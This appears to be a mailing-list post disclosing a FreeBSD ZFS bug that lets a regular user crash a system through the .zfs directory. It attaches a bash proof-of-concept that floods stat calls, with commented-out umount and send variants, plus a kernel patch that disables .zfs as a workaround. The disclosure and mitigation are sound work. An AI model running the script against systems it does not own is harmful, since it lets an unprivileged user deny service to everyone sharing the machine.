Dear users,
For a long time now I've been investigating problems relating FreeBSD ZFS
.zfs handling, and found that I am not enough to fix issues. Until fixes
arrive, unfortunately a regular user can DoS a FreeBSD system which has
ZFS filesystems with the attached script. While the script expects a
snapshot argument to be given, actually the first test case does not need
that, only a mounted zfs filesystem is enough. For more of the tests a
snapshot may be needed, and later ones need root account also.
I would recommend that until this gets rewritten or fixed at all, one
should disable access to .zfs at all with someting like I've attached.
Regards,
Kojedzinszky Richard
-------------- next part --------------
#!/bin/bash
snapshot="$1"
if [ -z "$snapshot" ]; then
echo "FreeBSD/ZFS snapshot handling bug"
echo ""
echo "Usage: $0 <zfs snapshot>"
exit 1
fi
snapshot="$(zfs list -t snapshot -H -o name "$snapshot")"
if [ -z "$snapshot" ]; then
echo "Snapshot not found"
exit 2
fi
dataset="${snapshot%@*}"
sn="${snapshot#*@}"
mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print
$3}')
if [ ! -d "$mountpoint" ]; then
echo "Could not determine mount point for $dataset"
exit 3
fi
echo "** dataset=$dataset snapname=$sn mounted=$mountpoint"
cd "$mountpoint/.zfs"
yes snapshot | xargs stat > /dev/null &
yes snapshot | xargs stat > /dev/null &
#cd "$mountpoint/.zfs/snapshot"
#yes "$sn" | xargs umount > /dev/null &
#yes "$sn" | xargs umount > /dev/null &
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null
&
#yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null
&
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn" | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "$sn/.." | xargs stat > /dev/null &
#yes "." | xargs ls -la > /dev/null &
#yes "." | xargs ls -la > /dev/null &
#yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &
-------------- next part --------------
diff --git a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
index 8eb8953..27f42bd 100644
--- a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
+++ b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c
@@ -1227,8 +1227,10 @@ zfs_domount(vfs_t *vfsp, char *osname)
VERIFY(VFS_ROOT(vfsp, LK_EXCLUSIVE, &vp) == 0);
VOP_UNLOCK(vp, 0);
+#if 0
if (!zfsvfs->z_issnap)
zfsctl_create(zfsvfs);
+#endif
out:
if (error) {
dmu_objset_disown(zfsvfs->z_os, zfsvfs);
@@ -1960,8 +1962,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
return (EBUSY);
ASSERT(zfsvfs->z_ctldir->v_count == 1);
}
+#if 0
zfsctl_destroy(zfsvfs);
ASSERT(zfsvfs->z_ctldir == NULL);
+#endif
}
if (fflag & MS_FORCE) {
@@ -1980,10 +1984,12 @@ zfs_umount(vfs_t *vfsp, int fflag)
*/
ret = vflush(vfsp, 1, (fflag & MS_FORCE) ? FORCECLOSE : 0, td);
if (ret != 0) {
+#if 0
if (!zfsvfs->z_issnap) {
zfsctl_create(zfsvfs);
ASSERT(zfsvfs->z_ctldir != NULL);
}
+#endif
return (ret);
}
@@ -2034,8 +2040,10 @@ zfs_umount(vfs_t *vfsp, int fflag)
/*
* We can now safely destroy the '.zfs' directory node.
*/
+#if 0
if (zfsvfs->z_ctldir != NULL)
zfsctl_destroy(zfsvfs);
+#endif
if (zfsvfs->z_issnap) {
vnode_t *svp = vfsp->mnt_vnodecovered;